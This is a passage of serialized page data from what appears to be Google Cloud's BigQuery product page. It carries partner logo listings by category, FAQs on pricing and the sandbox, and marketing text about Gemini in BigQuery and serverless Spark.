logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dbeaver"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dbeaver"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mGcVTg4wSMGAOYLMq-RoIbikPn6JsJY4ihc6UkxKX3k--95UXB-dGXDtgIR2LbEyk7uuda6puhgU"],null,null,true,null,null,null,null,[null,"dbeaver logo"]]]],[null,[[null,[[null,null,"https://calibrate-analytics.com/launchpad/integrations/bigquery/"],{"10000":[[["track-metadata-eventdetail","calibrate-analytics.com/launchpad/integrations/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/jXbEfGQDtbrTw-SOtOC9rM5oUE3ujfLnkIw8mX39jrdgw40rR15nRPQHFtzD_rJrO8CiAPOxgctj4A"],null,null,true,null,null,null,null,[null,"calibrate analytics"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/boostkpi-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/boostkpi-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/maCzC-id49DKFqvjo6ODkPc4l4EK0pfNueyuiz4CbQXWw2UAAZBmLEsoDrsso7Nglne_uRYFqaw"],null,null,true,null,null,null,null,[null,"boostKPI"]]]]],[],null,"bi-and-data-visualization"],[[[null,[null,"Data governance and security"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/CoI3_Gtkbna2lD5JcvCLHC404GLcug_Yn3YCC9SrRckyp2J79079B7SFE_TEscBDAmPr1Dl8h2WS-w"],null,null,true,null,null,null,null,[null,"Alation logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/kpmrXMUX9bWmGzMzf7RIl7D6YVHkdQoBRxr0v68GOzlT-HArLhoBRss8Xb8q-TNEx6V8MMBwi-8"],null,null,true,null,null,null,null,[null,"Collibra logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/8OsnTWFU0cQYx8mqSORdSJzvAY_nru39YF_EDdQyouXfNNVaPy3wNCk-jI9PE-lOufDa-4db3ZprsQ"],null,null,true,null,null,null,null,[null,"Privacera logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/7R0y05oi-5rpH_wPrFTTOWXTRs7AXTgRyyEb6MkVpGPyukMApmeqcCiclwF48r7MWdfJe0yepzSTvw"],null,null,true,null,null,null,null,[null,"Immuta logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secupi"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secupi"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/h-3MAzgButeRBNYV2WIBw00hCBwapW_YhgKateONyUlceo1bKxHhAbc2NK_FDtPtEKBbtgRxL5Y"],null,null,true,null,null,null,null,[null,"secuPi logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/vaultree"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/vaultree"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/uUEWRhazMIabzbAITGlyjDyadcSj14ZjGIvE1nFxlGNyoJruR7ysWKQUOS_DTbqJa-kiAAgX1PJt"],null,null,true,null,null,null,null,[null,"vaultree logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secoda"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secoda"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QkF8dna4sJHDg9SPbGkB-pD7T16vCV9b4iXKKGni9UPXG4v9zIbeDL3_fmrt4GjVLcfto3IFM2FJ"],null,null,true,null,null,null,null,[null,"secoda logo"]]]]],[],null,"data-governance-and-security"],[[[null,[null,"Connectors and developer tools"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/lfuG5nnyUKHshVfJDvamLMwi25g59XekJ9WpH2VYavwFsVEzrYdXrJ3gfHXcSB4A4PvvZ2COcCjw"],null,null,true,null,null,null,null,[null,"cdata logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/KfUCcBVgmg7E8j2V1yiMTKUg5wmi5Kviw3zsjAktOv4ARlrw0eh2SDU_GY36kjgVG6fp81YW7VyM"],null,null,true,null,null,null,null,[null,"Simba by Magnitude logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/RVJS_Lv59X4UXJbPV0QvaqzoPhjwOGXrlDN7Wl3iSHZZdXjqpv1Rbrurx0l-bP6--GkC3NsFi8Lf"],null,null,true,null,null,null,null,[null,"Progress logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/v4euksWoYxAOt6GV5CgkuEWXVlDR_d6nSbiWzem7XQsgAgdavcC5MuO-9i4fX2SZSbG9WFZrfk-z"],null,null,true,null,null,null,null,[null,"KingswaySoft logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Z485P2hIBIEpifJUskFiP2uFRaUuODBLF8_DEarhKm6-96U18GH8s1HuZhFg8mB4R8L5-8C9kID3"],null,null,true,null,null,null,null,[null,"ZappySys logo"]]]]],[],null,"connectors-and-developer-tools"],[[[null,[null,"Machine learning and advanced analytics"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/Ue9a7ZsJDKQAmfcqClfwh7INVkv-WZCv4MegyC8JAG7Yx5Eeh6A4S0Or0B2DnlEm4SiJDso1m_Qx0w"],null,null,true,null,null,null,null,[null,"DataRobot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/p1AcIg2Oazf7Ry9D5Env5mOqwMn6hUacRMD-vFE9xkv7XBBjxWoN9imqPZ5PgBNy0ERwM4We_8hC"],null,null,true,null,null,null,null,[null,"dataiku logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/QseqCRn9AJl0A0xbOR_c1jGn63sN6Ivq5-UgUC71LwSTQ1Yhid56D_l7yH7GKYItZneFH7bNh6bD"],null,null,true,null,null,null,null,[null,"Databricks logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/j-kwHTmbtFYSpui5AL19H4CDf94x2pHPagSs2yru6CAzie87rdrKrFiZKwc5Rp4fB7mSw7muQidQdQ"],null,null,true,null,null,null,null,[null,"Starburst logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/JrJnnpsF7p9HwMIrf94D9QM9RnBhkesLtc-EFXZWWn0hTbqz7O2HO0gP0FTgysVkxtDqXElcTrSX"],null,null,true,null,null,null,null,[null,"Hex logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/snowplow-analytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/snowplow-analytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ntLc0VTVsPo3qAikn_UgRsuORtEPMbOZ1icoQRhSp9rGBf4vGHY-aEpztycJfk6A36YDVCU4769q"],null,null,true,null,null,null,null,[null,"snowplow logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/neo4j"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/neo4j"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/wrb46o6Z6H2wjQMTvekmAbgwv4X3bSE2J3jGGwwKdwXE-Wi8G4k1VikCjIP-yE09lDV0f41cFc5M"],null,null,true,null,null,null,null,[null,"Neo4J logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/flywheel-technologies"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/flywheel-technologies"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/fwvceELRBS4eul-f39ggPM6-stvz5rkPXbaKbsRo5uiRYh4Nrx7Ky2F6-w1qBb9WvPOSBhyIEGI"],null,null,true,null,null,null,null,[null,"GrowthLoop logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/netspring"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/netspring"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4S8SMHWCcsJQA3uOniLkpf_tTfNqrEwx1zzZ0vboefmRRWnfYLOUQdU71HTqllHn4PkIZOaw53_16A"],null,null,true,null,null,null,null,[null,"Netspring logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/windsor-ai"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/windsor-ai"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QhQEEvjIWWxxmlp3u2QWgmnCcxbK5st5BEPpJgL7p3OSY3Tled5FoUpVJ30AsMsfkeaF87u9MT0W"],null,null,true,null,null,null,null,[null,"windsor.ai logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/lytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/lytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/qhpCU_RSHgfSPx5l6HzxBhv9l0Qxaza03QzM9jHdXR48112atwfBJrlE6kd_HhiL0Qt2h_GZkPExMg"],null,null,true,null,null,null,null,[null,"Lytics logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/deepnote-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/deepnote-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/W6jpEH90X81BrNs5PBipXmSM7ehCBVkcDLYHvO5lgHfzic_-6mvJgBImL-zHMY3zKnmoYBYPYedEfQ"],null,null,true,null,null,null,null,[null,"Deepnote logo"]]]],[null,[[null,[[null,null,"https://www.docs.developers.amplitude.com/data/sources/bigquery/"],{"10000":[[["track-metadata-eventdetail","www.docs.developers.amplitude.com/data/sources/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BbufJMRy_-zAOOowlgznhmCYPbVdzjr4sIuXgOdmucoq6Ued6PzurasOUnDLm0MyEGxeZp7-pVQ"],null,null,true,null,null,null,null,[null,"Amplitude logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/actable"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/actable"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ahXNRivpLgoRYXEKrk_tpcVyKw5gSCRkCuOWem4siBSqlMvxZgAw0uXTG0VtcJQaowiuRjtTWsc3"],null,null,true,null,null,null,null,[null,"Actable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tecton"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tecton"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/dv7PTiDcFS8Drh7H2zV7ybAJre4rMCPa9ejfGXFUIsG2PIs_Cy7_zMbVyDwuucAfnS2_VXPkv5r1"],null,null,true,null,null,null,null,[null,"Tecton logo"]]]],[null,[[null,[[null,null,"https://www.dinmo.com/integrations/google-bigquery/"],{"10000":[[["track-metadata-eventdetail","www.dinmo.com/integrations/google-bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/e0fdzXwwiJJvl7JFtQ2PKksNiDa4ZyDdcx_PFlftOxz18T7mAqHelgKP12JKs-woXxENCzBB06GETA"],null,null,true,null,null,null,null,[null,"DinMo logo"]]]]],[],null,"machine-learning-and-advanced-analytics"],[[[null,[null,"Data quality and observability"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/6Hl4GZvB73KdHQIHMPzavcvdwU65Z91vVuf5W5r37MA_rZP0IqteXZkTILaL7dlQQ6EcmdIVkgLY"],null,null,true,null,null,null,null,[null,"New Relic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jzkIiJsmw6qvGNidpcp-CZLJ8tf5Xralk8ait-eT9tllowds0QZ1D2n0QCdbB99zuu2L3erzj99XQQ"],null,null,true,null,null,null,null,[null,"dynatrace logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ibcPI-AFnpbC4jHg3kTZcfgExfL19ra_6eum40C6OeuWskAA8Dwop5clRna5pUxdR1FjUFtMcBOr"],null,null,true,null,null,null,null,[null,"datadog logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/7d6df0faddea4927e72520cee2332bea13e94cacafd9bc001501b5ac613ab9ff.svg"],null,null,null,null,null,null,null,[null,"Anomalo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/hubvnmGYcfqSrXRtZJJEdXUTRATVavAqmeYRYLEQPa1qUmyQ940kidoTNWIPdA-47thLKeuQi19Jog"],null,null,true,null,null,null,null,[null,"Monte Carlo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OarCQ5TwpevhfEh5YVpRSjDt56s7qHlBxHFa6H75OfOgSoSSWfHur1Gqn18lBHz7RYu44pkJM2a_Kw"],null,null,true,null,null,null,null,[null,"Soda log"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/FLo6Q99ULGOpbW9z2qrUJkD1ji1lfE5lzdFEnCTsA6I427lbWP-K_45UusFWan2oubbXsrBjTsyKUQ"],null,null,true,null,null,null,null,[null,"Masthead logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aliz-tech-kft"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aliz-tech-kft"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/XdReO-bANvyf2sbpYfmefZX8xlF0ROqc4YvzF9Bbs0qOlXX2Of6wg2EL2j1LMzVlkuANr0tMiJEgBA"],null,null,true,null,null,null,null,[null,"Rabbit logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/unravel-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/unravel-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/U8WxfXbenW3hgZ3PqNaXGj1Y87EfCS1OUcbkJ6UNyJ-dsWDZXRlTyuFftPQDBlw35PpKRxfSZtPE"],null,null,true,null,null,null,null,[null,"unravel logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/validio"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/validio"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4a1m12xQ-hCrR3fyDLuOCLLQ2H28FIjrmFiZZH9OZmScpbROEoLAhGGreFt4cksZCZO458ZC_pk"],null,null,true,null,null,null,null,[null,"Validio logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/agiledata-io"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/agiledata-io"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/o5ZckmWTJKv9THKYg_ldhjDij05KU1hXPxwBMGge2JEspaEyfLNmWmirGRu4TiLKTLyGpLuRANBYMA"],null,null,true,null,null,null,null,[null,"Agiledata.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/decube"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/decube"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/0fp-fdRamH3xc4cRcxbG86zFjigpfYSjzkUtGTKVIdK5Y-7Q3vniuJujdVRh3w5TBPR_hLlnmKfW"],null,null,true,null,null,null,null,[null,"Decube logo"]]]]],[],null,"data-quality-and-observability"],[[[null,[null,"Consulting partners"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ircOodCNbPGYZk8p6ty3ndK7zZgfuf4jU5R39TPwPnFfRKhXJcIF_Fqtlv3FqxS6wLgIvEaWXcdO"],null,null,true,null,null,null,null,[null,"capgemini logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/LZKdBHhld6KjMBg2FQuos7CzVrevk1N4vodDD_J_FWtbPvrcz9qJFo_M02QDS0gmqkdea_owib7O"],null,null,true,null,null,null,null,[null,"ctp logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yK-z-l0tamHHn3zwefkf7ryAgAyXUMPcDWrB5JdaNkG1t740TAn7cLBeI19bEcElYQLpwCvchQWLMg"],null,null,true,null,null,null,null,[null,"Myers-Holum logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/X3G1yGqYCqsJzy_sy9cSlJrxqlhNIyBkK6IMotSj_XDzPjwcRLPt8iEi0w3qHAjbKRGk3kENBoKH4g"],null,null,true,null,null,null,null,[null,"pythian logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/rPf9g0SdutOFV5b4xUw6yh87sHyfAXEtv5xzeU_KpypziG2Dh0y-RkDYq-esLZBUbk91fK8fTjdlZg"],null,null,true,null,null,null,null,[null,"quantiphi logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/sUZubjCY1-B6znPmA4lwEuDh-ympRXZkvfFOWGoBKBkrxXvtujBYUzUhNW0ZfB2fAMGXtRbzGuk"],null,null,true,null,null,null,null,[null,"sada logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/afcERhao3M_moUaWshVnH8FNLkK2P8o4o8LxYoqT32xU0nK6p1UTVxK5cPU6VG1K_7EsNsdXnq87"],null,null,true,null,null,null,null,[null,"tectonic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D0byHS0KhMoQPguOLp40QPOS319UliP5w6_uIgC_ZUewHfPsv7xEhBlsc_7OBTO71JuTo9GIhrkcdQ"],null,null,true,null,null,null,null,[null,"Trace3"]]]]],[],null,"consulting-partners"]],null,"work-with-a-partner-with-bigquery-expertise"],{"10000":[[["track-metadata-module","partners and integration"]],191763],"10002":"work-with-a-partner-with-bigquery-expertise"}],[83,[[[null,[null,"Other inquiries and support"]],[[null,null,"https://cloud.google.com/billing/docs"],"Billing and troubleshooting",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/billing/docs"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","billing and troubleshooting"]],192553]}],[[null,null,"https://www.googlecloudcommunity.com/gc/Data-Analytics/bd-p/cloud-data-analytics"],"Ask the community",{"10000":[[["track-metadata-eventdetail","www.googlecloudcommunity.com/gc/data-analytics/bd-p/cloud-data-analytics"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","ask the community"]]]}]],[[[null,[null,"What makes BigQuery different from other enterprise data warehouse alternatives?"],[null,"\u003cp\u003eBigQuery is Google Cloud’s fully managed and completely serverless enterprise data warehouse. BigQuery supports all data types, works across clouds, and has built-in machine learning and business intelligence, all within a unified platform. \u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What is an enterprise data warehouse?"],[null,"\u003cp\u003eAn enterprise data warehouse is a system used for the analysis and reporting of structured and semi-structured data from multiple sources. Many organizations are moving from traditional data warehouses that are on-premises to cloud data warehouses, which provide more cost savings, scalability, and flexibility.\u003c/p\u003e"]]],[[null,[null,"How secure is BigQuery?"],[null,"\u003cp\u003eBigQuery offers robust security, governance, and reliability controls that offer high availability and a 99.99% uptime SLA. Your data is protected with encryption by default and customer-managed encryption keys.\u003c/p\u003e"]]],[[null,[null,"How can I get started with BigQuery?"],[null,"\u003cp\u003eThere are a few ways to get started with BigQuery. New customers get $300 in free credits to spend on BigQuery. All customers get 10 GB storage and up to 1 TB queries free per month, not charged against their credits. You can get these credits by signing up for the BigQuery free trial. Not ready yet? You can use the \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e without a credit card to see how it works. \u003c/p\u003e"]]],[[null,[null,"What is the BigQuery sandbox?"],[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e lets you try out BigQuery without a credit card. You stay within BigQuery’s free tier automatically, and you can use the sandbox to run queries and analysis on public datasets to see how it works. You can also bring your own data into the BigQuery sandbox for analysis. There is an option to upgrade to the free trial where new customers get a $300 credit to try BigQuery.\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What are the most common ways companies use BigQuery?"],[null,"\u003cp\u003eCompanies of all sizes use BigQuery to consolidate siloed data into one location so you can perform data analysis and get insights from all of your business data. This allows companies to make decisions in real time, streamline business reporting, and incorporate machine learning into data analysis to predict future business opportunities.\u003c/p\u003e"]]]]],{"10000":[[["track-metadata-module","product v3 faq"]],191772],"10002":"other-inquiries-and-support"}]],null,[null,[[[[null,"Release Notes"]],[[null,null,"https://cloud.google.com/bigquery/docs/release-notes"],"Release notes",6,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/release-notes"],["track-metadata-module","in page navigation"],["track-name","release notes"]],192553]}]],[[[null,"Documentation"]],[[null,null,"https://cloud.google.com/bigquery/docs"],"Documentation",6,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs"],["track-metadata-module","in page navigation"],["track-name","documentation"]],192553]}]],[[[null,"Training"]],[[null,null,"https://www.cloudskillsboost.google/catalog?keywords\u003dBigQuery\u0026locale\u003d\u0026solution%5B%5D\u003dany\u0026role%5B%5D\u003dany\u0026skill-badge%5B%5D\u003dany\u0026format%5B%5D\u003dany\u0026level%5B%5D\u003dany\u0026duration%5B%5D\u003dany\u0026language%5B%5D\u003dany"],"Training",11,{"10000":[[["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.cloudskillsboost.google/catalog"],["track-metadata-module","in page navigation"],["track-name","training"]],192558]}]],[[[null,"Architecture Center"]],[[null,null,"https://cloud.google.com/architecture?category\u003dbigdataandanalytics"],"Architecture center",{"10000":[[["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/architecture"],["track-metadata-module","in page navigation"],["track-name","architecture center"]]]}]]]],null,true,{"10000":[null,191573]}]]]]]]]]],["variantB",["variantB",[97716267,97716268],["/bigquery"],null,[["/bigquery",[[["fte",[[31,["mFzK5zoqCQr9","en","BigQuery enterprise data warehouse","BigQuery is a serverless, cost-effective, and multicloud data warehouse designed to help you turn big data into valuable business insights. Start free.","PAGE_TEMPLATE_TYPE_PRODUCT_V3","/bigquery",null,null,1,1],[[76,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[[null,"BigQuery"],[null,"From data warehouse to a unified, AI-ready data platform"],[null,"\u003cp\u003eBigQuery is a fully managed, AI-ready data analytics platform that helps you maximize value from your data and is designed to be multi-engine, multi-format, and multi-cloud.\u003c/p\u003e\u003cp\u003eStore 10 GiB of data and run up to 1 TiB of queries for free per month. \u003cb\u003eNew customers also get $300 in free credits\u003c/b\u003e to try BigQuery and other Google Cloud products.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/bigquery"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","contact sales"]],192550]}]],[[null,null,"https://www.gstatic.com/bricks/image/702bc723dcfcddf8942bb459be20163106a5f64ed91404df38c73ca955f96260.svg"],null,null,null,null,null,null,null,[null,"Magnifying glass icon"]]],[[null,[null,"Product highlights"]],null,null,[[null,[null,"Unified data platform to connect all your data and activate with AI"],[[null,null,"#features"],"Unified data platform to connect all your data and activate with AI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","unified data platform to connect all your data and activate with ai"]]]}]],[null,[null,"Built-in machine learning to create and run models using simple SQL"],[[null,null,"#features"],"Built-in machine learning to create and run models using simple SQL",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","built-in machine learning to create and run models using simple sql"]]]}]],[null,[null,"Real-time analytics with streaming and built-in BI"],[[null,null,"#features"],"Real-time analytics with streaming and built-in BI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","real-time analytics with streaming and built-in bi"]]]}]]]],[[null,[[null,null,"https://gobig.cloud/?utm_source\u003dinitial\u0026utm_medium\u003dcgcweb\u0026utm_campaign\u003dgobig"],"Sign up for our no-cost discovery workshop",{"10000":[[["track-metadata-eventdetail","gobig.cloud"],["track-metadata-module","product v3 hero"],["track-name","sign up for our no-cost discovery workshop"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/d1a2346b57ea1c97bc4f8f01f289616f45c33d66bcd5b1372252fce3533cae4a.svg"],null,null,null,null,null,null,null,[null,"bigquery logo"]]],[[null,null,[null,"\u003cp\u003eGoogle is named a leader in The Forrester Wave™: Data Lakehouses Q2 2024 report.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],["track-metadata-module","product v3 hero"],["track-name","\u003cp\u003egoogle is named a leader in the forrester wave™: data lakehouses q2 2024 report.\u003c/p\u003e"]]]}]]],{"10000":[[["track-metadata-module","product v3 hero"]],191766],"10002":"from-data-warehouse-to-a-unified-ai-ready-data-platform"}],[77,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Power your data agents with Gemini in BigQuery"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-gemini-in-bigquery-at-next24\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini in BigQuery\u003c/a\u003e provides AI-powered assistive and collaboration features, including \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/write-sql-duet-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecode assist\u003c/a\u003e, visual data preparation, and intelligent recommendations that help enhance productivity and optimize costs. BigQuery provides a \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/announcing-bigquery-studio?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003esingle, unified workspace\u003c/a\u003e that includes a SQL, a \u003ca href\u003d\"https://cloud.google.com/colab/docs/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003enotebook\u003c/a\u003e, and a NL-based \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/data-canvas\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecanvas interface\u003c/a\u003e for data practitioners of various coding skills to simplify analytics workflows from data ingestion and preparation to data exploration and visualization to ML model creation and use.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Learn how to build data agents with Gemini in BigQuery"]],[[null,null,"https://youtu.be/9WE1rltc4ec"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/9we1rltc4ec"],["track-metadata-module","product v3 features"],["track-metadata-video-id","9we1rltc4ec"],["track-name","learn how to build data agents with gemini in bigquery"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/CAD-iNr-6vfpGVOI2E2yZxVlAD-fpxWZVb0Hch3kvo7EerasZScWFB8uLwA1My4q4cXF5FD3BgqiXw"],null,null,true,null,null,null,null,[null,"Gemini in BigQuery"]],[null,null,"https://youtu.be/9WE1rltc4ec"],[222]]]]],null,"power-your-data-agents-with-gemini-in-bigquery"],[[[null,[null,"Bring multiple engines to a single copy of data"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/solutions/spark\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eServerless Apache Spark\u003c/a\u003e is available directly in BigQuery. You can write and execute Spark in BigQuery Studio without exporting data or managing infrastructure. BigQuery metastore provides shared runtime metadata for SQL and open source engines for a unified set of security and governance controls across all engines and storage types. By bringing multiple engines, including SQL, Spark, and Python, to a single copy of data and metadata, you can break down data silos and increase efficiency.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"What's New with BigQuery at Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","8fhltpoxa1e"],["track-name","what's new with 